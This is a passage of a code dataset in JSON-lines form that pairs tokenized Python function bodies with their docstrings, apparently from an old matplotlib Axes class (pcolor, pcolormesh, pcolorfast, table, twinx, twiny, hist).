Y3[:,newaxis],<EOL>X4[:,newaxis], Y4[:,newaxis],<EOL>X1[:,newaxis], Y1[:,newaxis]),<EOL>axis=<NUM_LIT:1>)<EOL>verts = xy.reshape((npoly, <NUM_LIT:5>, <NUM_LIT:2>))<EOL>C = compress(ravelmask, ma.filled(C[<NUM_LIT:0>:Ny-<NUM_LIT:1>,<NUM_LIT:0>:Nx-<NUM_LIT:1>]).ravel())<EOL>if shading == '<STR_LIT>':<EOL><INDENT>edgecolors = (<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>),<EOL>linewidths = (<NUM_LIT>,)<EOL><DEDENT>else:<EOL><INDENT>edgecolors = '<STR_LIT>'<EOL>linewidths = (<NUM_LIT:1.0>,)<EOL><DEDENT>kwargs.setdefault('<STR_LIT>', edgecolors)<EOL>kwargs.setdefault('<STR_LIT>', (<NUM_LIT:0>,))<EOL>kwargs.setdefault('<STR_LIT>', linewidths)<EOL>collection = mcoll.PolyCollection(verts, **kwargs)<EOL>collection.set_alpha(alpha)<EOL>collection.set_array(C)<EOL>if norm is not None: assert(isinstance(norm, mcolors.Normalize))<EOL>if cmap is not None: assert(isinstance(cmap, mcolors.Colormap))<EOL>collection.set_cmap(cmap)<EOL>collection.set_norm(norm)<EOL>if vmin is not None or vmax is not None:<EOL><INDENT>collection.set_clim(vmin, vmax)<EOL><DEDENT>else:<EOL><INDENT>collection.autoscale_None()<EOL><DEDENT>self.grid(False)<EOL>x = X.compressed()<EOL>y = Y.compressed()<EOL>minx = np.amin(x)<EOL>maxx = np.amax(x)<EOL>miny = np.amin(y)<EOL>maxy = np.amax(y)<EOL>corners = (minx, miny), (maxx, maxy)<EOL>self.update_datalim( corners)<EOL>self.autoscale_view()<EOL>self.add_collection(collection)<EOL>return collection<EOL>", "docstring": "call signatures::\n\n  pcolor(C, **kwargs)\n  pcolor(X, Y, C, **kwargs)\n\nCreate a pseudocolor plot of a 2-D array.\n\n*C* is the array of color values.\n\n*X* and *Y*, if given, specify the (*x*, *y*) coordinates of\nthe colored quadrilaterals; the quadrilateral for C[i,j] has\ncorners at::\n\n  (X[i,   j],   Y[i,   j]),\n  (X[i,   j+1], Y[i,   j+1]),\n  (X[i+1, j],   Y[i+1, j]),\n  (X[i+1, j+1], Y[i+1, j+1]).\n\nIdeally the dimensions of *X* and *Y* should be one greater\nthan those of *C*; if the dimensions are the same, then the\nlast row and column of *C* will be ignored.\n\nNote that the the column index corresponds to the\n*x*-coordinate, and the row index corresponds to *y*; for\ndetails, see the :ref:`Grid Orientation\n<axes-pcolor-grid-orientation>` section below.\n\nIf either or both of *X* and *Y* are 1-D arrays or column vectors,\nthey will be expanded as needed into the appropriate 2-D arrays,\nmaking a rectangular grid.\n\n*X*, *Y* and *C* may be masked arrays.  If either C[i, j], or one\nof the vertices surrounding C[i,j] (*X* or *Y* at [i, j], [i+1, j],\n[i, j+1],[i+1, j+1]) is masked, nothing is plotted.\n\nKeyword arguments:\n\n  *cmap*: [ None | Colormap ]\n    A :class:`matplotlib.cm.Colormap` instance. If *None*, use\n    rc settings.\n\n  norm: [ None | Normalize ]\n    An :class:`matplotlib.colors.Normalize` instance is used\n    to scale luminance data to 0,1. If *None*, defaults to\n    :func:`normalize`.\n\n  *vmin*/*vmax*: [ None | scalar ]\n    *vmin* and *vmax* are used in conjunction with *norm* to\n    normalize luminance data.  If either are *None*, the min\n    and max of the color array *C* is used.  If you pass a\n    *norm* instance, *vmin* and *vmax* will be ignored.\n\n  *shading*: [ 'flat' | 'faceted' ]\n    If 'faceted', a black grid is drawn around each rectangle; if\n    'flat', edges are not drawn. Default is 'flat', contrary to\n    Matlab(TM).\n\n    This kwarg is deprecated; please use 'edgecolors' instead:\n      * shading='flat' -- edgecolors='None'\n      * shading='faceted  -- edgecolors='k'\n\n  *edgecolors*: [ None | 'None' | color | color sequence]\n    If *None*, the rc setting is used by default.\n\n    If 'None', edges will not be visible.\n\n    An mpl color or sequence of colors will set the edge color\n\n  *alpha*: 0 <= scalar <= 1\n    the alpha blending value\n\nReturn value is a :class:`matplotlib.collection.Collection`\ninstance.\n\n.. _axes-pcolor-grid-orientation:\n\nThe grid orientation follows the Matlab(TM) convention: an\narray *C* with shape (*nrows*, *ncolumns*) is plotted with\nthe column number as *X* and the row number as *Y*, increasing\nup; hence it is plotted the way the array would be printed,\nexcept that the *Y* axis is reversed.  That is, *C* is taken\nas *C*(*y*, *x*).\n\nSimilarly for :func:`~matplotlib.pyplot.meshgrid`::\n\n  x = np.arange(5)\n  y = np.arange(3)\n  X, Y = meshgrid(x,y)\n\nis equivalent to:\n\n  X = array([[0, 1, 2, 3, 4],\n             [0, 1, 2, 3, 4],\n             [0, 1, 2, 3, 4]])\n\n  Y = array([[0, 0, 0, 0, 0],\n             [1, 1, 1, 1, 1],\n             [2, 2, 2, 2, 2]])\n\nso if you have::\n\n  C = rand( len(x), len(y))\n\nthen you need::\n\n  pcolor(X, Y, C.T)\n\nor::\n\n  pcolor(C.T)\n\nMatlab :func:`pcolor` always discards the last row and column\nof *C*, but matplotlib displays the last row and column if *X* and\n*Y* are not specified, or if *X* and *Y* have one more row and\ncolumn than *C*.\n\nkwargs can be used to control the\n:class:`~matplotlib.collection.PolyCollection` properties:\n\n%(PolyCollection)s", "id": "f17238:c1:m164"}
{"signature": "def pcolormesh(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>alpha = kwargs.pop('<STR_LIT>', <NUM_LIT:1.0>)<EOL>norm = kwargs.pop('<STR_LIT>', None)<EOL>cmap = kwargs.pop('<STR_LIT>', None)<EOL>vmin = kwargs.pop('<STR_LIT>', None)<EOL>vmax = kwargs.pop('<STR_LIT>', None)<EOL>shading = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>edgecolors = kwargs.pop('<STR_LIT>', '<STR_LIT:None>')<EOL>antialiased = kwargs.pop('<STR_LIT>', False)<EOL>X, Y, C = self._pcolorargs('<STR_LIT>', *args)<EOL>Ny, Nx = X.shape<EOL>C = ma.ravel(C[<NUM_LIT:0>:Ny-<NUM_LIT:1>, <NUM_LIT:0>:Nx-<NUM_LIT:1>]) <EOL>X = X.ravel()<EOL>Y = Y.ravel()<EOL>coords = np.zeros(((Nx * Ny), <NUM_LIT:2>), dtype=float)<EOL>coords[:, <NUM_LIT:0>] = X<EOL>coords[:, <NUM_LIT:1>] = Y<EOL>if shading == '<STR_LIT>' or edgecolors != '<STR_LIT:None>':<EOL><INDENT>showedges = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>showedges = <NUM_LIT:0><EOL><DEDENT>collection = mcoll.QuadMesh(<EOL>Nx - <NUM_LIT:1>, Ny - <NUM_LIT:1>, coords, showedges,<EOL>antialiased=antialiased)  <EOL>collection.set_alpha(alpha)<EOL>collection.set_array(C)<EOL>if norm is not None: assert(isinstance(norm, mcolors.Normalize))<EOL>if cmap is not None: assert(isinstance(cmap, mcolors.Colormap))<EOL>collection.set_cmap(cmap)<EOL>collection.set_norm(norm)<EOL>if vmin is not None or vmax is not None:<EOL><INDENT>collection.set_clim(vmin, vmax)<EOL><DEDENT>else:<EOL><INDENT>collection.autoscale_None()<EOL><DEDENT>self.grid(False)<EOL>minx = np.amin(X)<EOL>maxx = np.amax(X)<EOL>miny = np.amin(Y)<EOL>maxy = np.amax(Y)<EOL>corners = (minx, miny), (maxx, maxy)<EOL>self.update_datalim( corners)<EOL>self.autoscale_view()<EOL>self.add_collection(collection)<EOL>return collection<EOL>", "docstring": "call signatures::\n\n  pcolormesh(C)\n  pcolormesh(X, Y, C)\n  pcolormesh(C, **kwargs)\n\n*C* may be a masked array, but *X* and *Y* may not.  Masked\narray support is implemented via *cmap* and *norm*; in\ncontrast, :func:`~matplotlib.pyplot.pcolor` simply does not\ndraw quadrilaterals with masked colors or vertices.\n\nKeyword arguments:\n\n  *cmap*: [ None | Colormap ]\n    A :class:`matplotlib.cm.Colormap` instance. If None, use\n    rc settings.\n\n  *norm*: [ None | Normalize ]\n    A :class:`matplotlib.colors.Normalize` instance is used to\n    scale luminance data to 0,1. If None, defaults to\n    :func:`normalize`.\n\n  *vmin*/*vmax*: [ None | scalar ]\n    *vmin* and *vmax* are used in conjunction with *norm* to\n    normalize luminance data.  If either are *None*, the min\n    and max of the color array *C* is used.  If you pass a\n    *norm* instance, *vmin* and *vmax* will be ignored.\n\n  *shading*: [ 'flat' | 'faceted' ]\n    If 'faceted', a black grid is drawn around each rectangle; if\n    'flat', edges are not drawn. Default is 'flat', contrary to\n    Matlab(TM).\n\n    This kwarg is deprecated; please use 'edgecolors' instead:\n      * shading='flat' -- edgecolors='None'\n      * shading='faceted  -- edgecolors='k'\n\n  *edgecolors*: [ None | 'None' | color | color sequence]\n    If None, the rc setting is used by default.\n\n    If 'None', edges will not be visible.\n\n    An mpl color or sequence of colors will set the edge color\n\n  *alpha*: 0 <= scalar <= 1\n    the alpha blending value\n\nReturn value is a :class:`matplotlib.collection.QuadMesh`\nobject.\n\nkwargs can be used to control the\n:class:`matplotlib.collections.QuadMesh`\nproperties:\n\n%(QuadMesh)s\n\n.. seealso::\n    :func:`~matplotlib.pyplot.pcolor`:\n        For an explanation of the grid orientation and the\n        expansion of 1-D *X* and/or *Y* to 2-D arrays.", "id": "f17238:c1:m165"}
{"signature": "def pcolorfast(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>alpha = kwargs.pop('<STR_LIT>', <NUM_LIT:1.0>)<EOL>norm = kwargs.pop('<STR_LIT>', None)<EOL>cmap = kwargs.pop('<STR_LIT>', None)<EOL>vmin = kwargs.pop('<STR_LIT>', None)<EOL>vmax = kwargs.pop('<STR_LIT>', None)<EOL>if norm is not None: assert(isinstance(norm, mcolors.Normalize))<EOL>if cmap is not None: assert(isinstance(cmap, mcolors.Colormap))<EOL>C = args[-<NUM_LIT:1>]<EOL>nr, nc = C.shape<EOL>if len(args) == <NUM_LIT:1>:<EOL><INDENT>style = \"<STR_LIT:image>\"<EOL>x = [<NUM_LIT:0>, nc]<EOL>y = [<NUM_LIT:0>, nr]<EOL><DEDENT>elif len(args) == <NUM_LIT:3>:<EOL><INDENT>x, y = args[:<NUM_LIT:2>]<EOL>x = np.asarray(x)<EOL>y = np.asarray(y)<EOL>if x.ndim == <NUM_LIT:1> and y.ndim == <NUM_LIT:1>:<EOL><INDENT>if x.size == <NUM_LIT:2> and y.size == <NUM_LIT:2>:<EOL><INDENT>style = \"<STR_LIT:image>\"<EOL><DEDENT>else:<EOL><INDENT>dx = np.diff(x)<EOL>dy = np.diff(y)<EOL>if (np.ptp(dx) < <NUM_LIT>*np.abs(dx.mean()) and<EOL>np.ptp(dy) < <NUM_LIT>*np.abs(dy.mean())):<EOL><INDENT>style = \"<STR_LIT:image>\"<EOL><DEDENT>else:<EOL><INDENT>style = \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>elif x.ndim == <NUM_LIT:2> and y.ndim == <NUM_LIT:2>:<EOL><INDENT>style = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>C = ma.ravel(C) <EOL>X = x.ravel()<EOL>Y = y.ravel()<EOL>Nx = nc+<NUM_LIT:1><EOL>Ny = nr+<NUM_LIT:1><EOL>coords = np.empty(((Nx * Ny), <NUM_LIT:2>), np.float64)<EOL>coords[:, <NUM_LIT:0>] = X<EOL>coords[:, <NUM_LIT:1>] = Y<EOL>collection = mcoll.QuadMesh(nc, nr, coords, <NUM_LIT:0>)<EOL>collection.set_alpha(alpha)<EOL>collection.set_array(C)<EOL>collection.set_cmap(cmap)<EOL>collection.set_norm(norm)<EOL>self.add_collection(collection)<EOL>xl, xr, yb, yt = X.min(), X.max(), Y.min(), Y.max()<EOL>ret = collection<EOL><DEDENT>else:<EOL><INDENT>xl, xr, yb, yt = x[<NUM_LIT:0>], x[-<NUM_LIT:1>], y[<NUM_LIT:0>], y[-<NUM_LIT:1>]<EOL><DEDENT>if style == \"<STR_LIT:image>\":<EOL><INDENT>im = mimage.AxesImage(self, cmap, norm,<EOL>interpolation='<STR_LIT>',<EOL>origin='<STR_LIT>',<EOL>extent=(xl, xr, yb, yt),<EOL>**kwargs)<EOL>im.set_data(C)<EOL>im.set_alpha(alpha)<EOL>self.images.append(im)<EOL>ret = im<EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>im = mimage.PcolorImage(self, x, y, C,<EOL>cmap=cmap,<EOL>norm=norm,<EOL>alpha=alpha,<EOL>**kwargs)<EOL>self.images.append(im)<EOL>ret = im<EOL><DEDENT>self._set_artist_props(ret)<EOL>if vmin is not None or vmax is not None:<EOL><INDENT>ret.set_clim(vmin, vmax)<EOL><DEDENT>else:<EOL><INDENT>ret.autoscale_None()<EOL><DEDENT>self.update_datalim(np.array([[xl, yb], [xr, yt]]))<EOL>self.autoscale_view(tight=True)<EOL>return ret<EOL>", "docstring": "pseudocolor plot of a 2-D array\n\nExperimental; this is a version of pcolor that\ndoes not draw lines, that provides the fastest\npossible rendering with the Agg backend, and that\ncan handle any quadrilateral grid.\n\nCall signatures::\n\n  pcolor(C, **kwargs)\n  pcolor(xr, yr, C, **kwargs)\n  pcolor(x, y, C, **kwargs)\n  pcolor(X, Y, C, **kwargs)\n\nC is the 2D array of color values corresponding to quadrilateral\ncells. Let (nr, nc) be its shape.  C may be a masked array.\n\n``pcolor(C, **kwargs)`` is equivalent to\n``pcolor([0,nc], [0,nr], C, **kwargs)``\n\n*xr*, *yr* specify the ranges of *x* and *y* corresponding to the\nrectangular region bounding *C*.  If::\n\n    xr = [x0, x1]\n\nand::\n\n    yr = [y0,y1]\n\nthen *x* goes from *x0* to *x1* as the second index of *C* goes\nfrom 0 to *nc*, etc.  (*x0*, *y0*) is the outermost corner of\ncell (0,0), and (*x1*, *y1*) is the outermost corner of cell\n(*nr*-1, *nc*-1).  All cells are rectangles of the same size.\nThis is the fastest version.\n\n*x*, *y* are 1D arrays of length *nc* +1 and *nr* +1, respectively,\ngiving the x and y boundaries of the cells.  Hence the cells are\nrectangular but the grid may be nonuniform.  The speed is\nintermediate.  (The grid is checked, and if found to be\nuniform the fast version is used.)\n\n*X* and *Y* are 2D arrays with shape (*nr* +1, *nc* +1) that specify\nthe (x,y) coordinates of the corners of the colored\nquadrilaterals; the quadrilateral for C[i,j] has corners at\n(X[i,j],Y[i,j]), (X[i,j+1],Y[i,j+1]), (X[i+1,j],Y[i+1,j]),\n(X[i+1,j+1],Y[i+1,j+1]).  The cells need not be rectangular.\nThis is the most general, but the slowest to render.  It may\nproduce faster and more compact output using ps, pdf, and\nsvg backends, however.\n\nNote that the the column index corresponds to the x-coordinate,\nand the row index corresponds to y; for details, see\nthe \"Grid Orientation\" section below.\n\nOptional keyword arguments:\n\n  *cmap*: [ None | Colormap ]\n    A cm Colormap instance from cm. If None, use rc settings.\n  *norm*: [ None | Normalize ]\n    An mcolors.Normalize instance is used to scale luminance data to\n    0,1. If None, defaults to normalize()\n  *vmin*/*vmax*: [ None | scalar ]\n    *vmin* and *vmax* are used in conjunction with norm to normalize\n    luminance data.  If either are *None*, the min and max of the color\n    array *C* is used.  If you pass a norm instance, *vmin* and *vmax*\n    will be *None*.\n  *alpha*: 0 <= scalar <= 1\n    the alpha blending value\n\nReturn value is an image if a regular or rectangular grid\nis specified, and a QuadMesh collection in the general\nquadrilateral case.", "id": "f17238:c1:m166"}
{"signature": "def table(self, **kwargs):", "body": "return mtable.table(self, **kwargs)<EOL>", "docstring": "call signature::\n\n  table(cellText=None, cellColours=None,\n        cellLoc='right', colWidths=None,\n        rowLabels=None, rowColours=None, rowLoc='left',\n        colLabels=None, colColours=None, colLoc='center',\n        loc='bottom', bbox=None):\n\nAdd a table to the current axes.  Returns a\n:class:`matplotlib.table.Table` instance.  For finer grained\ncontrol over tables, use the :class:`~matplotlib.table.Table`\nclass and add it to the axes with\n:meth:`~matplotlib.axes.Axes.add_table`.\n\nThanks to John Gill for providing the class and table.\n\nkwargs control the :class:`~matplotlib.table.Table`\nproperties:\n\n%(Table)s", "id": "f17238:c1:m170"}
{"signature": "def twinx(self):", "body": "ax2 = self.figure.add_axes(self.get_position(True), sharex=self,<EOL>frameon=False)<EOL>ax2.yaxis.tick_right()<EOL>ax2.yaxis.set_label_position('<STR_LIT:right>')<EOL>self.yaxis.tick_left()<EOL>return ax2<EOL>", "docstring": "call signature::\n\n  ax = twinx()\n\ncreate a twin of Axes for generating a plot with a sharex\nx-axis but independent y axis.  The y-axis of self will have\nticks on left and the returned axes will have ticks on the\nright", "id": "f17238:c1:m171"}
{"signature": "def twiny(self):", "body": "ax2 = self.figure.add_axes(self.get_position(True), sharey=self,<EOL>frameon=False)<EOL>ax2.xaxis.tick_top()<EOL>ax2.xaxis.set_label_position('<STR_LIT>')<EOL>self.xaxis.tick_bottom()<EOL>return ax2<EOL>", "docstring": "call signature::\n\n  ax = twiny()\n\ncreate a twin of Axes for generating a plot with a shared\ny-axis but independent x axis.  The x-axis of self will have\nticks on bottom and the returned axes will have ticks on the\ntop", "id": "f17238:c1:m172"}
{"signature": "def get_shared_x_axes(self):", "body": "return self._shared_x_axes<EOL>", "docstring": "Return a copy of the shared axes Grouper object for x axes", "id": "f17238:c1:m173"}
{"signature": "def get_shared_y_axes(self):", "body": "return self._shared_y_axes<EOL>", "docstring": "Return a copy of the shared axes Grouper object for y axes", "id": "f17238:c1:m174"}
{"signature": "def hist(self, x, bins=<NUM_LIT:10>, range=None, normed=False, cumulative=False,<EOL>bottom=None, histtype='<STR_LIT:bar>', align='<STR_LIT>',<EOL>orientation='<STR_LIT>', rwidth=None, log=False, **kwargs):", "body": "if not self._hold: self.cla()<EOL>if kwargs.get('<STR_LIT:width>') is not None:<EOL><INDENT>raise DeprecationWarning(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>x = np.transpose(np.array(x))<EOL>if len(x.shape)==<NUM_LIT:1>:<EOL><INDENT>x.shape = (<NUM_LIT:1>,x.shape[<NUM_LIT:0>])<EOL><DEDENT>elif len(x.shape)==<NUM_LIT:2> and x.shape[<NUM_LIT:1>]<x.shape[<NUM_LIT:0>]:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>if iterable(x[<NUM_LIT:0>]) and not is_string_like(x[<NUM_LIT:0>]):<EOL><INDENT>tx = []<EOL>for i in range(len(x)):<EOL><INDENT>tx.append( np.array(x[i]) )<EOL><DEDENT>x = tx<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>binsgiven = (cbook.iterable(bins) or range != None)<EOL>if np.__version__ < \"<STR_LIT>\": <EOL><INDENT>hist_kwargs = dict(range=range,<EOL>normed=bool(normed), new=True)<EOL><DEDENT>else: <EOL><INDENT>hist_kwargs = dict(range=range,<EOL>normed=bool(normed))<EOL><DEDENT>n = []<EOL>for i in range(len(x)):<EOL><INDENT>m, bins = np.histogram(x[i], bins, **hist_kwargs)<EOL>n.append(m)<EOL><DEDENT>if cumulative:<EOL><INDENT>slc = slice(None)<EOL>if cbook.is_numlike(cumulative) and cumulative < <NUM_LIT:0>:<EOL><INDENT>slc = slice(None,None,-<NUM_LIT:1>)<EOL><DEDENT>if normed:<EOL><INDENT>n = [(m * np.diff(bins))[slc].cumsum()[slc] for m in n]<EOL><DEDENT>else:<EOL><INDENT>n = [m[slc].cumsum()[slc] for m in n]<EOL><DEDENT><DEDENT>patches = []<EOL>if histtype.startswith('<STR_LIT:bar>'):<EOL><INDENT>totwidth = np.diff(bins)<EOL>stacked = False<EOL>if rwidth is not None: dr = min(<NUM_LIT:1.>, max(<NUM_LIT:0.>, rwidth))<EOL>elif len(n)><NUM_LIT:1>: dr = <NUM_LIT><EOL>else: dr = <NUM_LIT:1.0><EOL>if histtype=='<STR_LIT:bar>':<EOL><INDENT>width = dr*totwidth/len(n)<EOL>dw = width<EOL>if len(n)><NUM_LIT:1>:<EOL><INDENT>boffset = -<NUM_LIT:0.5>*dr*totwidth*(<NUM_LIT:1.>-<NUM_LIT:1.>/len(n))<EOL><DEDENT>else:<EOL><INDENT>boffset = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>elif histtype=='<STR_LIT>':<EOL><INDENT>width = dr*totwidth<EOL>boffset, dw = <NUM_LIT:0.0>, <NUM_LIT:0.0><EOL>stacked = True<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % histtype)<EOL><DEDENT>if align == '<STR_LIT>' or align == '<STR_LIT>':<EOL><INDENT>boffset += <NUM_LIT:0.5>*totwidth<EOL><DEDENT>elif align == '<STR_LIT:right>':<EOL><INDENT>boffset += totwidth<EOL><DEDENT>elif align != '<STR_LIT:left>' and align != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>' % align)<EOL><DEDENT>if orientation == '<STR_LIT>':<EOL><INDENT>for m in n:<EOL><INDENT>color = self._get_lines._get_next_cycle_color()<EOL>patch = self.barh(bins[:-<NUM_LIT:1>]+boffset, m, height=width,<EOL>left=bottom, align='<STR_LIT>', log=log,<EOL>color=color)<EOL>patches.append(patch)<EOL>if stacked:<EOL><INDENT>if bottom is None: bottom = <NUM_LIT:0.0><EOL>bottom += m<EOL><DEDENT>boffset += dw<EOL><DEDENT><DEDENT>elif orientation == '<STR_LIT>':<EOL><INDENT>for m in n:<EOL><INDENT>color = self._get_lines._get_next_cycle_color()<EOL>patch = self.bar(bins[:-<NUM_LIT:1>]+boffset, m, width=width,<EOL>bottom=bottom, align='<STR_LIT>', log=log,<EOL>color=color)<EOL>patches.append(patch)<EOL>if stacked:<EOL><INDENT>if bottom is None: bottom = <NUM_LIT:0.0><EOL>bottom += m<EOL><DEDENT>boffset += dw<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % orientation)<EOL><DEDENT><DEDENT>elif histtype.startswith('<STR_LIT>'):<EOL><INDENT>x = np.zeros( <NUM_LIT:2>*len(bins), np.float )<EOL>y = np.zeros( <NUM_LIT:2>*len(bins), np.float )<EOL>x[<NUM_LIT:0>::<NUM_LIT:2>], x[<NUM_LIT:1>::<NUM_LIT:2>] = bins, bins<EOL>if align == '<STR_LIT:left>' or align == '<STR_LIT>':<EOL><INDENT>x -= <NUM_LIT:0.5>*(bins[<NUM_LIT:1>]-bins[<NUM_LIT:0>])<EOL><DEDENT>elif align == '<STR_LIT:right>':<EOL><INDENT>x += <NUM_LIT:0.5>*(bins[<NUM_LIT:1>]-bins[<NUM_LIT:0>])<EOL><DEDENT>elif align != '<STR_LIT>' and align != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>' % align)<EOL><DEDENT>if log:<EOL><INDENT>y[<NUM_LIT:0>],y[-<NUM_LIT:1>] = <NUM_LIT>, <NUM_LIT><EOL>if orientation == '<STR_LIT>':<EOL><INDENT>self.set_xscale('<STR_LIT>')<EOL><DEDENT>elif orientation == '<STR_LIT>':<EOL><INDENT>self.set_yscale('<STR_LIT>')<EOL><DEDENT><DEDENT>fill = False<EOL>if histtype == '<STR_LIT>':<EOL><INDENT>fill = True<EOL><DEDENT>elif histtype != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>' % histtype)<EOL><DEDENT>for m in n:<EOL><INDENT>y[<NUM_LIT:1>:-<NUM_LIT:1>:<NUM_LIT:2>], y[<NUM_LIT:2>::<NUM_LIT:2>] = m, m<EOL>if orientation == '<STR_LIT>':<EOL><INDENT>x,y = y,x<EOL><DEDENT>elif orientation != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>' % orientation)<EOL><DEDENT>color = self._get_lines._get_next_cycle_color()<EOL>if fill:<EOL><INDENT>patches.append( self.fill(x, y,<EOL>closed=False, facecolor=color) )<EOL><DEDENT>else:<EOL><INDENT>patches.append( self.fill(x, y,<EOL>closed=False, edgecolor=color, fill=False) )<EOL><DEDENT><DEDENT>if orientation == '<STR_LIT>':<EOL><INDENT>xmin, xmax = <NUM_LIT:0>, self.dataLim.intervalx[<NUM_LIT:1>]<EOL>for m in n:<EOL><INDENT>xmin = np.amin(m[m!=<NUM_LIT:0>]) <EOL><DEDENT>xmin = max(xmin*<NUM_LIT>, <NUM_LIT>)<EOL>self.dataLim.intervalx = (xmin, xmax)<EOL><DEDENT>elif orientation == '<STR_LIT>':<EOL><INDENT>ymin, ymax = <NUM_LIT:0>, self.dataLim.intervaly[<NUM_LIT:1>]<EOL>for m in n:<EOL><INDENT>ymin = np.amin(m[m!=<NUM_LIT:0>]) <EOL><DEDENT>ymin = max(ymin*<NUM_LIT>, <NUM_LIT>)<EOL>self.dataLim.intervaly = (ymin, ymax)<EOL><DEDENT>self.autoscale_view()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % histtype)<EOL><DEDENT>label = kwargs.pop('<STR_LIT:label>', '<STR_LIT>')<EOL>for patch in patches:<EOL><INDENT>for p in patch:<EOL><INDENT>p.update(kwargs)<EOL>p.set_label(label)<EOL>label = '<STR_LIT>'<EOL><DEDENT><DEDENT>if binsgiven:<EOL><INDENT>self.set_autoscale_on(False)<EOL>if orientation == '<STR_LIT>':<EOL><INDENT>self.autoscale_view(scalex=False, scaley=True)<EOL>XL = self.xaxis.get_major_locator().view_limits(bins[<NUM_LIT:0>], bins[-<NUM_LIT:1>])<EOL>self.set_xbound(XL)<EOL><DEDENT>else:<EOL><INDENT>self.autoscale_view(scalex=True, scaley=False)<EOL>YL = self.yaxis.get_major_locator().view_limits(bins[<NUM_LIT:0>], bins[-<NUM_LIT:1>])<EOL>self.set_ybound(YL)<EOL><DEDENT><DEDENT>if len(n)==<NUM_LIT:1>:<EOL><INDENT>return n[<NUM_LIT:0>], bins, cbook.silent_list('<STR_LIT>', patches[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>return n, bins, cbook.silent_list('<STR_LIT>', patches)<EOL><DEDENT>", "docstring": "call signature::\n\n  hist(x, bins=10, range=None, normed=False, cumulative=False,\n       bottom=None, histtype='bar', align='mid',\n       orientation='vertical', rwidth=None, log=False, **kwargs)\n\nCompute and draw the histogram of *x*. The return value is a\ntuple (*n*, *bins*, *patches*) or ([*n0*, *n1*, ...], *bins*,\n[*patches0*, *patches1*,...]) if the input contains multiple\ndata.\n\nKeyword arguments:\n\n  *bins*:\n    Either an integer number of bins or a sequence giving the\n    bins.  *x* are the data to be binned. *x* can be an array,\n    a 2D array with multiple data in its columns, or a list of\n    arrays with data of different length.  Note, if *bins*\n    is an integer input argument=numbins, *bins* + 1 bin edges\n    will be returned, compatible with the semantics of\n    :func:`numpy.histogram` with the *new* = True argument.\n    Unequally spaced bins are supported if *bins* is a sequence.\n\n  *range*:\n    The lower and upper range of the bins. Lower and upper outliers\n    are ignored. If not provided, *range* is (x.min(), x.max()).\n    Range has no effect if *bins* is a sequence.\n\n    If *bins* is a sequence or *range* is specified, autoscaling is\n    set off (*autoscale_on* is set to *False*) and the xaxis limits\n    are set to encompass the full specified bin range.\n\n  *normed*:\n    If *True*, the first element of the return tuple will\n    be the counts normalized to form a probability density, i.e.,\n    ``n/(len(x)*dbin)``.  In a probability density, the integral of\n    the histogram should be 1; you can verify that with a\n    trapezoidal integration of the probability density function::\n\n      pdf, bins, patches = ax.hist(...)\n      print np.sum(pdf * np.diff(bins))\n\n  *cumulative*:\n    If *True*, then a histogram is computed where each bin\n    gives the counts in that bin plus all bins for smaller values.\n    The last bin gives the total number of datapoints.  If *normed*\n    is also *True* then the histogram is normalized such that the\n    last bin equals 1. If *cumulative* evaluates to less than 0\n    (e.g. -1), the direction of accumulation is reversed.  In this\n    case, if *normed* is also *True*, then the histogram is normalized\n    such that the first bin equals 1.\n\n  *histtype*: [ 'bar' | 'barstacked' | 'step' | 'stepfilled' ]\n    The type of histogram to draw.\n\n      - 'bar' is a traditional bar-type histogram.  If multiple data\n        are given the bars are aranged side by side.\n\n      - 'barstacked' is a bar-type histogram where multiple\n        data are stacked on top of each other.\n\n      - 'step' generates a lineplot that is by default\n        unfilled.\n\n      - 'stepfilled' generates a lineplot that is by default\n        filled.\n\n  *align*: ['left' | 'mid' | 'right' ]\n    Controls how the histogram is plotted.\n\n      - 'left': bars are centered on the left bin edges.\n\n      - 'mid': bars are centered between the bin edges.\n\n      - 'right': bars are centered on the right bin edges.\n\n  *orientation*: [ 'horizontal' | 'vertical' ]\n    If 'horizontal', :func:`~matplotlib.pyplot.barh` will be\n    used for bar-type histograms and the *bottom* kwarg will be\n    the left edges.\n\n  *rwidth*:\n    The relative width of the bars as a fraction of the bin\n    width.  If *None*, automatically compute the width. Ignored\n    if *histtype* = 'step' or 'stepfilled'.\n\n  *log*:\n    If *True*, the histogram axis will be set to a log scale.\n    If *log* is *True* and *x* is a 1D array, empty bins will\n    be filtered out and only the non-empty (*n*, *bins*,\n    *patches*) will be returned.\n\nkwargs are used to update the properties of the hist\n:class:`~matplotlib.patches.Rectangle` instances:\n\n%(Rectangle)s\n\nYou can use labels for your histogram, and only the first\n:class:`~matplotlib.patches.Rectangle` gets the label (the\nothers get the magic string '_nolegend_'.  This will make the\nhistograms work in the intuitive way for bar charts::\n\n    ax.hist(10+2*np.random.randn(1000), label='men')\n    ax.hist(12+3*np.random.randn(1000), label='women', alpha=0.5)\n    ax.legend()\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/histogram_demo.py", "id": "f17238:c1:m175"}
